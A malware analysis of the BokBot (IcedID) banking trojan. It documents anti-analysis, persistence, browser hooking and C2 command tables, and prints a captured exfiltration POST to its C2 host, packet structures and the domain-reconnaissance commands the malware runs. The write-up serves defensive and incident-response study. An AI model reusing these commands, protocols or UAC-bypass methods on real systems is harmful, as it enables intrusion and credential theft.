BokBot Technical Analysis | xors

Published: 2022-03-09 · Archived: 2026-04-05 15:05:19 UTC

Executive Summary

BokBot, also known as IcedID, was among one of the most active malware families in 2021 and has been known for loading different types of payloads such as Cobalt Strike for example. BokBot has previously been linked to ‘NeverQuest’[1] and over the years it has gone through various code changes.

The following article presents the findings of analysis conducted on samples which appeared in December 2021. Furthermore, the analysis focuses on the main module and its network communication features and functionality. Overall, BokBot has the typical features that you would expect from a banking trojan. Specifically, BokBot presents the following features that are notable:

1. Functionality to intercept local credentials and web-form data stored in the browser along with inserting Web-Injects to specific pages in order to capture login credentials as they are entered.
2. Offers the operator(s) various commands to control the compromised host.
3. Network support for both HTTP(S) and network sockets.
4. Unlike previous versions, debug messages have been removed.

The following sub-sections present the findings of the analysis of the main module of BokBot.

Methodology and Approach

The biggest obstacle in analysing BokBot was the way in which the loader loads and executes the main module. BokBot’s main module runs, in memory, as pure shellcode. As a result, dumping the decrypted component and running it directly in a debugger was not an option. Furthermore, if we consider that binary strings and Windows API functions are loaded at runtime, similar obstacles are met during static analysis too.

To workaround the above issues, different methods were used. Initially, the Unicorn engine was used to execute and debug certain functions; this was useful to confirm that the strings decryption algorithm has been correctly converted to Python for example. In cases where this was not possible, a debug session was started by breaking at the entry point of the main module and moving on from there to selected addresses.

The static analysis issues were easier to solve. Upon breaking at the entry point of the main module, the resolved Windows API addresses and their associated (BokBot) addresses were collected and then mapped to IDA. Lastly, the strings were decrypted by converting the decryption routine to an IDAPython script (see ‘Strings/Configuration Encryption’ section).

Anti-Analysis

As with many other malicious binaries, anti-analysis techniques are employed to make the analysis harder. The following methods were observed:

1. Calculation of execution time between two addresses. This is repeated 15 times and aims to detect emulation or debugging presence (step over). Fortunately, even though this mechanism can be easily defeated, this code is present only in one function.
2. Execution of CPUID instruction to get information about the host's processor. By passing the parameter 0x40000000, stored in EAX, to the CPUID instruction, the vendor ID is returned. Then BokBot checks if it matches any of the following patterns:
    1. VMwa
    2. XenV
    3. Micr
    4. KVMK
    5. lrp
    6. Vbox

If any of the above techniques are triggered, Bokbot will continue anyway but inform the command-and-control server.

Regarding BokBot's behavior in case of anti-analysis identification, the only difference, at least from a binary perspective, appears to be in the execution of 'BackConnect' functionality (described in the Network Communication section); specifically in this case the operator(s) should issue the feature. Otherwise it executes the 'BackConnect' functionality as normal in a new thread.

Strings/Configuration Encryption

BokBot keeps its binary strings in an encrypted format with each string being decrypted only when it is about to be used. An IDAPython script that automates the decryption process is available on GitHub.

Likewise, BokBot's configuration is encrypted, with the configuration being stored in the '.data' section of the loader. The main module obtains a pointer to this section by reading a parameter passed into it by the loader. It is important to note that this parameter stores several pieces of important information including:

1. BokBot's loader file path
2. Flag that indicates the file type (DLL or EXE)
3. Pointer to encrypted configuration

With this, it is able to decrypt the configuration; a Python script to replicate this is available on GitHub. A notable mention with regards to the configuration is that BokBot, unlike some other families, keeps it in a decrypted state for the entire execution time. This can be an important factor either for writing a memory configuration dumper or to obtain the configuration as fast as possible during an IR engagement through memory image analysis.

Lastly, it should be noted that unlike previous versions, debug strings appear to have been removed.

Persistence

BokBot supports two methods to add persistence on the compromised host. First, BokBot copies its downloader to the user's Roaming directory (%APPDATA% environment variable) and attempts to create a scheduled task to run it. If this fails, BokBot proceeds to use its second method, which adds a new value in the 'Run' registry key of the current user (HKEY_CURRENT_USER).

Note: In both cases, the scheduled task and the registry key names are randomly generated. In addition, BokBot's encrypted main module file (DAT file) is added as a parameter of the downloader. This is an important artefact from an incident response perspective whilst analysing suspicious registry keys or scheduled tasks.

Browser Interception

One of the core features of BokBot is its ability to intercept browser information. BokBot is capable of targeting the most commonly used browsers including Chrome and Firefox. Upon detecting a browser process, BokBot binds to a random port (calculated based on the generated bot ID), creates a self-signed certificate and waits for new events.

BokBot uses the same decryption routine as for the configuration to decrypt the appropriate shellcode, supporting both x86 and x64, and injects it into the browser process. The role of the injected shellcode is to hook Windows API functions that are used during the transmission of network data. This is an approach that many malware families have followed for years in order to intercept data before any encryption is applied.

With the appropriate shellcode injected into the browser's process and the (BokBot) server running, BokBot is capable of intercepting sensitive data (man-in-the-middle).

Data Storage

BokBot stores necessary data such as web-injects in the registry of the compromised host. The key is located at HKEY_CURRENT_USER\Software\Classes\CLSID\Random_Key_Name, where Random_Key_Name is generated based on an MD5 hash value derived from the bot ID and a custom hashing algorithm.

Network communication

BokBot supports a variety of network commands. Since it supports both HTTP(S) and network sockets, this section has been separated into two parts.

HTTP Communication

Upon execution, BokBot starts communicating to the command-and-control server via HTTP(S) requests. BokBot starts by sending a POST request in order to check if there are any commands to execute. The request contains host information such as Operating system version along with a generated bot ID. The bot ID is included in the headers of each request, see Table 1 for a brief description of headers. The initial request body includes the following information:

1. MAC Address
2. Compromised host name

3. Domain name that the compromised host belongs
4. Boolean value indicating the BokBot access privileges
5. Boolean value indicating presence of anti-analysis software
6. Windows build version
7. NETBIOS Name
8. Boolean value indicating the BokBot process integrity level

Header Name	**Description**
Authorization	Contains various information of BokBot such as the bot and downloader IDs along with the bot's version.
Cookie	Contains runtime information of BokBot such as any errors while obtaining a handle of the downloader.

Table 1: HTTP Headers

Once the command-and-control server receives the request, it replies with a set of command IDs that BokBot should execute (Figure 1).

```
Server: nginx
Date: Mon, 17 Jan 2022 15:08:09 GMT
Content-Type: text/plain
Content-Length: 75
Connection: keep-alive

54897577;
61593029;
46731293;
24258075;
45055027;
95350285;
```

Figure 1: Commands To Execute

The way in which BokBot matches the received commands with its appropriate function is interesting. BokBot stores an array of DWORD values representing the command ID, followed by an array of encoded function pointers. Upon receiving and parsing the commands list, BokBot loops through the commands array and if any matches, it decodes the appropriate function pointer. The encoding/decoding process is as follows (Python format):

```
ror = lambda val, r_bits, max_bits: \
   ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
   (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
```

```
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

max_bits = 64
#Encodes function address  0x000002442432D450
encoded_function = ror(0x000002442432D450 ^ 0x123456789ABCDEF,7,64)
decoded_function_address = hex(rol(encoded_function,7,64) ^ 0x123456789ABCDEF)
```

The below table summarises the identified BokBot HTTP commands (Table 2).

Command ID	**Description**
0x4C52201	Requests an updated version of BokBot main module from the command-and-control server. Once received, BokBot is restarted. The incoming updated version is decrypted with the same algorithm used to decrypt the BokBot configuration with the only difference being the encryption key, which is derived from the bot ID.
0x345ABA9	Requests an updated list of BokBot servers domains. Configuration is decrypted with the same algorithm used to decrypt the BokBot configuration with the only difference being the encryption key, which is derived from the bot ID.
0x1F95C7A	Requests an updated version of BokBot downloader from the command-and-control server. Once received, BokBot invokes its persistence methods again. Then it restarts itself.
0x17300E2	Updates the BokBot configuration key ‘sys’.
0x1E4290D	Updates BokBot web-injects.
0x22E9E49	Triggers network beacon thread to send a beacon message to the server.
0x13CFAD5	Updates the period time of network beacon thread.
0x377218A	Reads BokBot log file.
0x274FF95	Sets a value in the BokBot registry key to specify what type of data BokBot should log.
0x59E8E82	Creates new specified registry key and sets data to it.
0x589BEA9	Reads the data of a specified registry key.
0x3702792	Deletes registry key.
0x2C9101D	Enumerates processes and sends them to the command-and-control server.
0x2B0C92C	Executes system commands in the compromised host. This can include files and PowerShell scripts too.

Command ID	Description
0x2617262	Injects shellcode into a new process.
0x47A7AA5	Issues ‘BackConnect’ feature (described in the Network Communication section).
0x3ABD5C5	Get files list located in the desktop path.
0x5AEEE0D	Runs system credentials stealer.
0x2AF7C33	Runs browser cookie stealer. A temporary file is created to store the collected data.
0x0D128D1	Reads a file and sends its content to the command-and-control server.
0x4577C59	Searches for a file and reads its content. Then its contents are sent to the command-and-control server.
0x172261B	Collects system information of the compromised host by executing various commands(See Table 3 in Appendix)

Table 2: BokBot HTTP Commands

Note: Commands 0x2B0C92C and 0x2617262 support two different UAC bypass methods. The first method abuses the executable file ‘fodhelper.exe’ [2] and the second method uses the executable file ‘eventvwr.exe’ [3]. Requests from the server that involve an update to either a configuration or executable file are verified using a hard-coded public RSA key.

After executing a command, BokBot compresses the data using the Zlib library and removes the first two bytes ‘0x78 0x9c’. Then, it constructs a POST request with a specific URI (each command has its own URI parameters hard-coded) and sends it to the server (Figure 2).

```
POST /posts/4/1/1 HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
Authorization: Basic MzAyMjQ1NjU0OjE5NTIxNTQ3NTM6MTA3OjY2OjM=
Content-Length: 317
Host: minimike.quest

...j.@....@^..5.,....8.....4.?4M.-=s.!zcp....7...H."@8.Q.z<....5Vx..yg...y..P)...........
.ExW/A4..^..GZ.X...z.....9.i..w...?.x.$.1UM.
v..|.......*.t..Ln..Gf.r.I.kf..2..4]....`..~...v..5#....K..._nX.."........m..L..p......|.B.8.m+.....y..zv...b[..b.E&l0.'g...6.o.u.l.|.V).iw.lM....R......=...'<...d[.m......-....]...HTTP/1.1 200 OK
Server: nginx
Date: Mon, 17 Jan 2022 15:08:11 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive

0
```

Figure 2: BokBot sending collected processes names to the server

Sockets (BackConnect)

The ‘BackConnect’ functionality provides the operator(s) an additional set of available commands and uses the same command-and-control server as before. Upon successful connection to the server, BokBot registers a handler and waits for data. *Note: The used port number is 443.*

At this point BokBot will perform a different set of actions depending on the status of the connection. For example, if there is a connection time-out then it sends a request to the server with command ID 2 (proceeds to

internal command dispatcher) and waits again for new data. In general, BokBot uses the following structure when sending socket data:

```
 #pragma pack(push, 1)
struct BC_Send_Data
{
  BYTE CMD_ID;
  BYTE Connection_Status;
  BYTE Connection_Counter;
  WORD Error_Code;
  DWORD New_Received_Socket_IP;
};
#pragma pack(pop)
```

The above packet is added to another structure, which BokBot uses as a header, in an encrypted format. The data is encrypted using a bitwise XOR operation with the random key being stored in the packet header (see structure below).

```
 #pragma pack(push, 1)
struct BC_Send_Data_Header
{
  BYTE Encoded_ID; // ID | 0x80
  BYTE Encoded_Packet_Size_In_Buffer; // Size | 0x80
  DWORD XOR_Key; // Random generated
  BYTE Encrypted_Command_Data[];
};
#pragma pack(pop)
```

Note: If the command's size is greater than 126 bytes then the structure's fields are different but the concept remains the same.

Considering the above information, the important functionalities of the Back-Connect feature are triggered once data is received. The data is decrypted either using a bitwise XOR operation, using the key stored in the packet header structure, or by using the `DecryptMessage` API function. The decryption method selection is based on an integer flag that is initialised during the connection.

Next, BokBot checks if the first byte of the encrypted network packet matches any of the below values:

- 2 - Proceeds to internal command dispatcher.
- 8 – Returns unsuccessful error code.
- 9 – Sends a request with command ID 10 along with the decrypted data.
- 10 – More data is available and has not been read.

In the first case (value 2), BokBot proceeds to its internal command dispatcher and performs another check of the first byte (command ID) of the decrypted data with the following values:

- 1 – Adds a new IP to communicate with - in this case, a connection is made to the port number 8080.
- 2 – Sends request with command ID 2 to the server - this is the same request packet as in the time-out case.
- 4 – Executes a command from Table 2 - command ID is specified in the packet.

Regarding command ID 1, BokBot creates a new thread for each new received IP address that it should connect to. Furthermore, after connecting to the new IP address, BokBot sends a request with command ID 0. It should be noted that the structure of the requests and replies are different compared to previous cases:

```
 #pragma pack(push, 1)
struct BackConnect_Packet
{
  DWORD Verify_Value; // Used to verify the server. Set to 0x974F014A
  BYTE Command_ID;
  DWORD Bot_ID;
  DWORD Key; // Downloader ID. Used in the executed file
};
#pragma pack(pop)
```

Then, the server replies with the same data structure. The available command IDs are:

- 1 – Changes connection timer.
- 3 – Sets connection timer to 60 seconds.
- 4 – Downloads and executes a file from the server - in case of error, sends command ID 2 to the server.
- 5 – Decrypts embedded VNC module and injects it into a new instance of ‘DllHost.exe’.

Throughout the connection session, BokBot sends a command with ID 1 as a beacon to the server, waiting for new data.

References

1. https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/
2. https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/
3. https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

Appendix

1. https://github.com/nikpx/BokBot/blob/master/Bokbot_IDA_Decrypt_Strings_2022.py
2. https://github.com/nikpx/BokBot/blob/master/Config_Network_Data_Decrypt.py

Command	Description
WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List	Collects installed Anti-Virus products

Command	Description
ipconfig /all	Collects network configuration/information
systeminfo	Operating system information
net config workstation	Collects workstation settings
nltest /domain_trusts	Collects trusted domains
nltest /domain_trusts /all_trusts	Collects all trusted domains
net view /all /domain	Collects all domain network shares
net view /all	Collects all network shares
net group “Domain Admins” /domain	Collects domain admins usernames

Table 3: Commands to collect system information
